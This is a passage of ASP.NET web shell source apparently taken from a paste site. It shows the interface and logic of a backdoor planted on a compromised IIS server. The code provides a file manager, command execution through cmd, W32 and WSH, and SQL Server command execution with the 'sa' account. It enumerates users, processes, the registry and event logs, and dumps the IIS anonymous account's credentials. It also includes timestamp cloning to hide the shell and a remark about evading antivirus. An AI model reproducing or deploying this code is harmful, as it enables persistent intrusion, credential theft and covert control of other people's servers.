  795.     <td width="15%"><strong>Size</strong></td>
  796.     <td width="20%"><strong>ModifyTime</strong></td>
  797.     <td width="25%"><strong>Operate</strong></td>
  798.     </tr>
  799.       <tr>
  800.         <td><%
  801.         hupo= "<tr><td><a href='?action=goto&src=" & server.UrlEncode(Getparentdir(url)) & "'><i>|Parent Directory|</i></a></td></tr>"
  802.         response.Write(hupo)
  803.         for each xdir in mydir.getdirectories()
  804.             response.Write("<tr>")
  805.             dim filepath as string
  806.             filepath=server.UrlEncode(url & xdir.name)
  807.             hupo= "<td><a href='?action=goto&src=" & filepath & "\" & "'>" & xdir.name & "</a></td>"
  808.             response.Write(hupo)
  809.             response.Write("<td>&lt;dir&gt;</td>")
  810.             response.Write("<td>" & Directory.GetLastWriteTime(url & xdir.name) & "</td>")
  811.             hupo="<td><a href='?action=cut&src=" & filepath & "\'  target='_blank'>Cut" & "</a>|<a href='?action=copy&src=" & filepath & "\'  target='_blank'>Copy</a>|<a href='?action=del&src=" & filepath & "\'" & " onclick='return del(this);'>Del</a></td>"
  812.             response.Write(hupo)
  813.             response.Write("</tr>")
  814.         next
  815.         %></td>
  816.   </tr>
  817.         <tr>
  818.         <td><%
  819.         for each xfile in mydir.getfiles()
  820.             dim filepath2 as string
  821.             filepath2=server.UrlEncode(url & xfile.name)
  822.             response.Write("<tr>")
  823.             hupo="<td>" & xfile.name & "</td>"
  824.             response.Write(hupo)
  825.             hupo="<td>" & GetSize(xfile.length) & "</td>"
  826.             response.Write(hupo)
  827.             response.Write("<td>" & file.GetLastWriteTime(url & xfile.name) & "</td>")
  828.             hupo="<td><a href='?action=edit&src=" & filepath2 & "'>Edit</a>|<a href='?action=cut&src=" & filepath2 & "' target='_blank'>Cut</a>|<a href='?action=copy&src=" & filepath2 & "' target='_blank'>Copy</a>|<a href='?action=rename&src=" & filepath2 & "'>Rename</a>|<a href='?action=down&src=" & filepath2 & "' onClick='return down(this);'>Download</a>|<a href='?action=del&src=" & filepath2 & "' onClick='return del(this);'>Del</a></td>"           
  829.             response.Write(hupo)
  830.             response.Write("</tr>")
  831.         next
  832.         response.Write("</table>")
  833.         %></td>
  834.       </tr>
  835. </table>
  836. <script language="javascript">
  837. function del()
  838. {
  839. if(confirm("Are you sure?")){return true;}
  840. else{return false;}
  841. }
  842. function down()
  843. {
  844. if(confirm("If the file size > 20M,\nPlease don\'t download\nYou can copy file to web directory ,use http download\nAre you sure download?")){return true;}
  845. else{return false;}
  846. }
  847. </script>
  848. <%
  849. case "information"
  850.     dim CIP,CP as string
  851.     if getIP()<>request.ServerVariables("REMOTE_ADDR") then
  852.             CIP=getIP()
  853.             CP=request.ServerVariables("REMOTE_ADDR")
  854.     else
  855.             CIP=request.ServerVariables("REMOTE_ADDR")
  856.             CP="None"
  857.     end if
  858. %>
  859. <div align=center>[ Web Server Information ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></div><br>
  860. <table width="80%"  border="1" align="center">
  861.   <tr>
  862.     <td width="40%">Server IP</td>
  863.     <td width="60%"><%=request.ServerVariables("LOCAL_ADDR")%></td>
  864.   </tr>
  865.   <tr>
  866.     <td height="73">Machine Name</td>
  867.     <td><%=Environment.MachineName%></td>
  868.   </tr>
  869.   <tr>
  870.     <td>Network Name</td>
  871.     <td><%=Environment.UserDomainName.ToString()%></td>
  872.   </tr>
  873.   <tr>
  874.     <td>User Name in this Process</td>
  875.     <td><%=Environment.UserName%></td>
  876.   </tr>
  877.   <tr>
  878.     <td>OS Version</td>
  879.     <td><%=Environment.OSVersion.ToString()%></td>
  880.   </tr>
  881.   <tr>
  882.     <td>Started Time</td>
  883.     <td><%=GetStartedTime(Environment.Tickcount)%> Hours</td>
  884.   </tr>
  885.   <tr>
  886.     <td>System Time</td>
  887.     <td><%=now%></td>
  888.   </tr>
  889.   <tr>
  890.     <td>IIS Version</td>
  891.     <td><%=request.ServerVariables("SERVER_SOFTWARE")%></td>
  892.   </tr>
  893.   <tr>
  894.     <td>HTTPS</td>
  895.     <td><%=request.ServerVariables("HTTPS")%></td>
  896.   </tr>
  897.   <tr>
  898.     <td>PATH_INFO</td>
  899.     <td><%=request.ServerVariables("PATH_INFO")%></td>
  900.   </tr>
  901.   <tr>
  902.     <td>PATH_TRANSLATED</td>
  903.     <td><%=request.ServerVariables("PATH_TRANSLATED")%></td>
  904.   <tr>
  905.     <td>SERVER_PORT</td>
  906.     <td><%=request.ServerVariables("SERVER_PORT")%></td>
  907.   </tr>
  908.     <tr>
  909.     <td>SeesionID</td>
  910.     <td><%=Session.SessionID%></td>
  911.   </tr>
  912.   <tr>
  913.     <td colspan="2"><span class="style3">Client Infomation</span></td>
  914.   </tr>
  915.   <tr>
  916.     <td>Client Proxy</td>
  917.     <td><%=CP%></td>
  918.   </tr>
  919.   <tr>
  920.     <td>Client IP</td>
  921.     <td><%=CIP%></td>
  922.   </tr>
  923.   <tr>
  924.     <td>User</td>
  925.     <td><%=request.ServerVariables("HTTP_USER_AGENT")%></td>
  926.   </tr>
  927. </table>
  928. <table align=center>
  929.     <% Create_table_row_with_supplied_colors("Black", "White", "center", "Environment Variables, Server Variables") %>
  930.     <tr>
  931.         <td><textArea cols=50 rows=10><% output_all_environment_variables("text") %></textarea></td>
  932.         <td><textArea cols=50 rows=10><% output_all_Server_variables("text") %></textarea></td>
  933.     </tr>
  934. </table>
  935. <%
  936.     case "cmd"
  937. %>
  938. <form runat="server">
  939.   <p>[ CMD.NET for WebAdmin ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  940.   <p> Execute command with ASP.NET account(<span class="style3">Notice: only click &quot;Run&quot; to run</span>)</p>
  941.   <p>- This function has fixed by kikicoco.Antivirus has not detected (2007/02/27)-</p>
  942.   Command:
  943.   <asp:TextBox ID="cmd" runat="server" Width="300" class="TextBox" />
  944.   <asp:Button ID="Button123" runat="server" Text="Run" OnClick="RunCMD" class="buttom"/>  
  945.   <p>
  946.    <asp:Label ID="result" runat="server" style="style2"/>      </p>
  947. </form>
  948. <%
  949.     case "cmdw32"
  950. %>
  951. <form runat="server">
  952.     <p>[ ASP.NET W32 Shell ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  953.     <p> Execute command with ASP.NET account using W32(<span class="style3">Notice: only click &quot;Run&quot; to run</span>)</p>
  954.     Command:
  955.     <asp:TextBox ID="txtCommand1" runat="server" style="border: 1px solid #084B8E"/>
  956.     <asp:Button ID="Buttoncmdw32" runat="server" Text="Run" OnClick="RunCmdW32" style="color: #FFFFFF; border: 1px solid #084B8E; background-color: #719BC5"/>  
  957.     <p>
  958.     <asp:Label ID="resultcmdw32" runat="server" style="color: #0000FF"/>      
  959.     </p>
  960. </form>
  961. <%
  962.     case "cmdwsh"
  963. %>
  964. <form runat="server">
  965.     <p>[ ASP.NET WSH Shell ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  966.     <p> Execute command with ASP.NET account using WSH(<span class="style3">Notice: only click &quot;Run&quot; to run</span>)</p>
  967.     Command:
  968.     <asp:TextBox ID="txtCommand2" runat="server" style="border: 1px solid #084B8E"/>
  969.     <asp:Button ID="Buttoncmdwsh" runat="server" Text="Run" OnClick="RunCmdWSH" style="color: #FFFFFF; border: 1px solid #084B8E; background-color: #719BC5"/>  
  970.     <p>
  971.     <asp:Label ID="resultcmdwsh" runat="server" style="color: #0000FF"/>      
  972.     </p>
  973. </form>
  974. <%
  975.     case "pro"
  976. %>
  977. <form runat="server">
  978.     <p align=center>[ List processes from server ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  979.     <table align=center>
  980.         <tr>
  981.             <td>
  982.             <%
  983.                 Try
  984.                 output_wmi_function_data("Win32_Process","Name,ProcessId,HandleCount")
  985.                 Catch
  986.                 rw("This function is disabled by server")
  987.                 End Try
  988.             %>
  989.             </td>
  990.         </tr>
  991.     </table>
  992. </form>
  993. <%
  994.     case "user"
  995. %>
  996. <form runat="server">
  997.     <p align=center>[ List User Accounts ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  998.     <table align=center>
  999.         <tr>
  1000.             <td>
  1001.             <%
  1002.                 dim WMI_function = "Win32_UserAccount"     
  1003.                 dim Fields_to_load = "Name,Domain,FullName,Description,PasswordRequired,SID"
  1004.                 dim fail_description = " Access to " + WMI_function + " is protected"
  1005.                 Try
  1006.                 output_wmi_function_data(WMI_function,Fields_to_load)
  1007.                 Catch
  1008.                 rw(fail_description)
  1009.                 End Try
  1010.             %>
  1011.             </td>
  1012.         </tr>
  1013.     </table>
  1014. </form>
  1015. <%
  1016.     case "reg"
  1017. %>
  1018. <form runat="server">
  1019.     <p align=center>[ Registry ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1020.     <table align=center>
  1021.         <tr>
  1022.             <td>
  1023.             <%
  1024.                 dim WMI_function = "Win32_Registry"    
  1025.                 dim Fields_to_load = "Caption,CurrentSize,Description,InstallDate,Name,Status"
  1026.                 dim fail_description = " Access to " + WMI_function + " is protected"
  1027.                 Try
  1028.                 output_wmi_function_data(WMI_function,Fields_to_load)
  1029.                 Catch
  1030.                 rw(fail_description)
  1031.                 End Try
  1032.             %>
  1033.             </td>
  1034.         </tr>
  1035.     </table>
  1036. </form>
  1037. <%
  1038.     case "applog"
  1039. %>
  1040. <form runat="server">
  1041.     <p align=center>[ List Application Event Log Entries ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1042.     <table align=center>
  1043.         <tr>
  1044.             <td>
  1045.             <%
  1046.                 dim WMI_function = "Win32_NTLogEvent where Logfile='Application'"      
  1047.                 dim Fields_to_load = "Logfile,Message,type"
  1048.                 dim fail_description = " Access to " + WMI_function + " is protected"
  1049.                 Try
  1050.                 output_wmi_function_data_instances(WMI_function,Fields_to_load,2000)
  1051.                 Catch
  1052.                 rw(fail_description)
  1053.                 End Try
  1054.             %>
  1055.             </td>
  1056.         </tr>
  1057.     </table>
  1058. </form>
  1059. <%
  1060.     case "syslog"
  1061. %>
  1062. <form runat="server">
  1063.     <p align=center>[ List System Event Log Entries ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1064.     <table align=center>
  1065.         <tr>
  1066.             <td>
  1067.             <%
  1068.                 dim WMI_function = "Win32_NTLogEvent where Logfile='System'"       
  1069.                 dim Fields_to_load = "Logfile,Message,type"
  1070.                 dim fail_description = " Access to " + WMI_function + " is protected"
  1071.                
  1072.                 Try
  1073.                 output_wmi_function_data_instances(WMI_function,Fields_to_load,2000)
  1074.                 Catch
  1075.                 rw("This function is disabled by server")
  1076.                 End Try
  1077.             %>
  1078.             </td>
  1079.         </tr>
  1080.     </table>
  1081. </form>
  1082. <%
  1083.     case "auser"
  1084. %>
  1085. <form runat="server">
  1086.     <p align=center>[ IIS List Anonymous' User details ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1087.     <table align=center>
  1088.         <tr>
  1089.             <td>
  1090.             <%
  1091.                 Try
  1092.                 IIS_list_Anon_Name_Pass
  1093.                 Catch
  1094.                 rw("This function is disabled by server")
  1095.                 End Try
  1096.             %>
  1097.             </td>
  1098.         </tr>
  1099.     </table>
  1100. </form>
  1101. <%
  1102.     case "sqlrootkit"
  1103. %>
  1104. <form runat="server">
  1105.   <p>[ SqlRootKit.NET for WebAdmin ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i><a href="javascript:history.back(1);">Back</a></i></p>
  1106.   <p> Execute command with SQLServer account(<span class="style3">Notice: only click "Run" to run</span>)</p>
  1107.   <p>Host:
  1108.     <asp:TextBox ID="ip" runat="server" Width="300" class="TextBox" Text="127.0.0.1"/></p>
  1109.   <p>
  1110.   SQL Name:
  1111.     <asp:TextBox ID="SqlName" runat="server" Width="50" class="TextBox" Text='sa'/>
  1112.   SQL Password:
  1113.   <asp:TextBox ID="SqlPass" runat="server" Width="80" class="TextBox"/>
  1114.   </p>
  1115.   Command:
  1116.   <asp:TextBox ID="Sqlcmd" runat="server" Width="300" class="TextBox"/>
  1117.   <asp:Button ID="ButtonSQL" runat="server" Text="Run" OnClick="RunSQLCMD" class="buttom"/>  
  1118.   <p>
  1119.    <asp:Label ID="resultSQL" runat="server" style="style2"/>      </p>
  1120. </form>
  1121. <%
  1122.     case "del"
  1123.         dim a as string
  1124.         a=request.QueryString("src")
  1125.         call existdir(a)
  1126.         call del(a)  
  1127.         response.Write("<script>alert(""Delete " & replace(a,"\","\\") & " Success!"");location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(Getparentdir(a)) &"'</script>")
  1128.     case "copy"
  1129.         call existdir(request.QueryString("src"))
  1130.         session("cutboard")="" & request.QueryString("src")
  1131.         response.Write("<script>alert('File info have add the cutboard, go to target directory click paste!');location.href='JavaScript:self.close()';</script>")
  1132.     case "cut"
  1133.         call existdir(request.QueryString("src"))
  1134.         session("cutboard")="" & request.QueryString("src")
  1135.         response.Write("<script>alert('File info have add the cutboard, go to target directory click paste!');location.href='JavaScript:self.close()';</script>")
  1136.     case "paste"
  1137.         dim ow as integer
  1138.         if request.Form("OverWrite")<>"" then ow=1
  1139.         if request.Form("Cancel")<>"" then ow=2
  1140.         url=request.QueryString("src")
  1141.         call existdir(url)
  1142.         dim d as string
  1143.         d=session("cutboard")
  1144.         if left(d,1)="" then
  1145.             TEMP1=url & path.getfilename(mid(replace(d,"",""),1,len(replace(d,"",""))-1))
  1146.             TEMP2=url & replace(path.getfilename(d),"","")
  1147.             if right(d,1)="\" then  
  1148.                 call xexistdir(TEMP1,ow)
  1149.                 directory.move(replace(d,"",""),TEMP1 & "\")  
  1150.                 response.Write("<script>alert('Cut  " & replace(replace(d,"",""),"\","\\") & "  to  " & replace(TEMP1 & "\","\","\\") & "  success!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(url) &"'</script>")
  1151.             else
  1152.                 call xexistdir(TEMP2,ow)
  1153.                 file.move(replace(d,"",""),TEMP2)
  1154.                 response.Write("<script>alert('Cut  " & replace(replace(d,"",""),"\","\\") & "  to  " & replace(TEMP2,"\","\\") & "  success!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(url) &"'</script>")
  1155.             end if
  1156.         else
  1157.             TEMP1=url & path.getfilename(mid(replace(d,"",""),1,len(replace(d,"",""))-1))
  1158.             TEMP2=url & path.getfilename(replace(d,"",""))
  1159.             if right(d,1)="\" then
  1160.                 call xexistdir(TEMP1,ow)
  1161.                 directory.createdirectory(TEMP1)
  1162.                 call copydir(replace(d,"",""),TEMP1 & "\")
  1163.                 response.Write("<script>alert('Copy  " & replace(replace(d,"",""),"\","\\") & "  to  " & replace(TEMP1 & "\","\","\\") & "  success!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(url) &"'</script>")
  1164.             else
  1165.                 call xexistdir(TEMP2,ow)
  1166.                 file.copy(replace(d,"",""),TEMP2)
  1167.                 response.Write("<script>alert('Copy  " & replace(replace(d,"",""),"\","\\") & "  to  " & replace(TEMP2,"\","\\") & "  success!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(url) &"'</script>")
  1168.             end if
  1169.         end if
  1170.     case "upfile"
  1171.         url=request.QueryString("src")
  1172. %>
  1173. <form name="UpFileForm" enctype="multipart/form-data" method="post" action="?src=<%=server.UrlEncode(url)%>" runat="server"  onSubmit="return checkname();">
  1174.  You will upload file to this directory : <span class="style3"><%=url%></span><br>
  1175.  Please choose file from your computer :
  1176.  <input name="upfile" type="file" class="TextBox" id="UpFile" runat="server">
  1177.     <input type="submit" id="UpFileSubit" value="Upload" runat="server" onserverclick="UpLoad" class="buttom">
  1178. </form>
  1179. <a href="javascript:history.back(1);" style="color:#FF0000">Go Back </a>
  1180. <%
  1181.     case "new"
  1182.         url=request.QueryString("src")
  1183. %>
  1184. <form runat="server">
  1185.   <%=url%><br>
  1186.   Name:
  1187.   <asp:TextBox ID="NewName" TextMode="SingleLine" runat="server" class="TextBox"/>
  1188.   <br>
  1189.   <asp:RadioButton ID="NewFile" Text="File" runat="server" GroupName="New" Checked="true"/>
  1190.   <asp:RadioButton ID="NewDirectory" Text="Directory" runat="server"  GroupName="New"/>
  1191.   <br>
  1192.   <asp:Button ID="NewButton" Text="Submit" runat="server" CssClass="buttom"  OnClick="NewFD"/>  
  1193.   <input name="Src" type="hidden" value="<%=url%>">
  1194. </form>
  1195. <a href="javascript:history.back(1);" style="color:#FF0000">Go Back</a>
  1196. <%
  1197.     case "edit"
  1198.         dim b as string
  1199.         b=request.QueryString("src")
  1200.         call existdir(b)
  1201.         dim myread as new streamreader(b,encoding.default)
  1202.         filepath.text=b
  1203.         content.text=myread.readtoend
  1204. %>
  1205. <form runat="server">
  1206.   <table width="80%"  border="1" align="center">
  1207.     <tr>      <td width="11%">Path</td>
  1208.       <td width="89%">
  1209.       <asp:TextBox CssClass="TextBox" ID="filepath" runat="server" Width="300"/>
  1210.       *</td>
  1211.     </tr>
  1212.     <tr>
  1213.       <td>Content</td>
  1214.       <td> <asp:TextBox ID="content" Rows="25" Columns="100" TextMode="MultiLine" runat="server" CssClass="TextBox"/></td>
  1215.     </tr>
  1216.     <tr>
  1217.       <td></td>
  1218.       <td> <asp:Button ID="a" Text="Sumbit" runat="server" OnClick="Editor" CssClass="buttom"/>        
  1219.       </td>
  1220.     </tr>
  1221.   </table>
  1222. </form>
  1223. <a href="javascript:history.back(1);" style="color:#FF0000">Go Back</a>
  1224. <%
  1225.         myread.close
  1226.     case "rename"
  1227.         url=request.QueryString("src")
  1228.         if request.Form("name")="" then
  1229.     %>
  1230. <form name="formRn" method="post" action="?action=rename&src=<%=server.UrlEncode(request.QueryString("src"))%>" onSubmit="return checkname();">
  1231.   <p>You will rename <span class="style3"><%=request.QueryString("src")%></span>to: <%=getparentdir(request.QueryString("src"))%>
  1232.     <input type="text" name="name" class="TextBox">
  1233.     <input type="submit" name="Submit3" value="Submit" class="buttom">
  1234. </p>
  1235. </form>
  1236. <a href="javascript:history.back(1);" style="color:#FF0000">Go Back</a>
  1237. <script language="javascript">
  1238. function checkname()
  1239. {
  1240. if(formRn.name.value==""){alert("You shall input filename :(");return false}
  1241. }
  1242. </script>
  1243.   <%
  1244.         else
  1245.             if Rename() then
  1246.                 response.Write("<script>alert('Rename " & replace(url,"\","\\") & " to " & replace(Getparentdir(url) & request.Form("name"),"\","\\") & " Success!');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(Getparentdir(url)) &"'</script>")
  1247.             else
  1248.                 response.Write("<script>alert('Exist the same name file , rename fail :(');location.href='"& request.ServerVariables("URL") & "?action=goto&src="& server.UrlEncode(Getparentdir(url)) &"'</script>")
  1249.             end if
  1250.         end if
  1251.     case "samename"
  1252.         url=request.QueryString("src")
  1253. %>
  1254. <form name="form1" method="post" action="?action=paste&src=<%=server.UrlEncode(url)%>">
  1255. <p class="style3">Exist the same name file , can you overwrite ?(If you click &quot; no&quot; , it will auto add a number as prefix)</p>
  1256.   <input name="OverWrite" type="submit" id="OverWrite" value="Yes" class="buttom">
  1257. <input name="Cancel" type="submit" id="Cancel" value="No" class="buttom">
  1258. </form>
  1259. <a href="javascript:history.back(1);" style="color:#FF0000">Go Back</a>
  1260.    <%
  1261.     case "clonetime"
  1262.         time1.Text=request.QueryString("src")&"kshell.aspx"
  1263.         time2.Text=request.QueryString("src")
  1264.     %>
  1265. <form runat="server">
  1266.   <p>[CloneTime for WebAdmin]<i>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href="javascript:history.back(1);">Back</a></i> </p>
  1267.   <p>A tool that it copy the file or directory's time to another file or directory </p>
  1268.   <p>Rework File or Dir:
  1269.     <asp:TextBox CssClass="TextBox" ID="time1" runat="server" Width="300"/></p>
  1270.   <p>Copied File or Dir:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1271.     <asp:TextBox CssClass="TextBox" ID="time2" runat="server" Width="300"/></p>
  1272. <asp:Button ID="ButtonClone" Text="Submit" runat="server" CssClass="buttom" OnClick="CloneTime"/>
  1273. </form>
  1274. <p>
  1275.   <%
  1276.     case "logout"
  1277.         session.Abandon()
  1278.         response.Write("<script>alert(' Goodbye !');location.href='" & request.ServerVariables("URL") & "';</sc" & "ript>")
  1279.     end select
  1280. end if
  1281. Catch error_x
  1282.     response.Write("<font color=""red"">Wrong: </font>"&error_x.Message)
  1283. End Try
  1284. %>
  1285. </p>
  1286. </p>
  1287. <hr>
  1288. <script language="javascript">
  1289. function closewindow()
  1290. {self.close();}
  1291. </script>
  1292. </body>
  1293. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement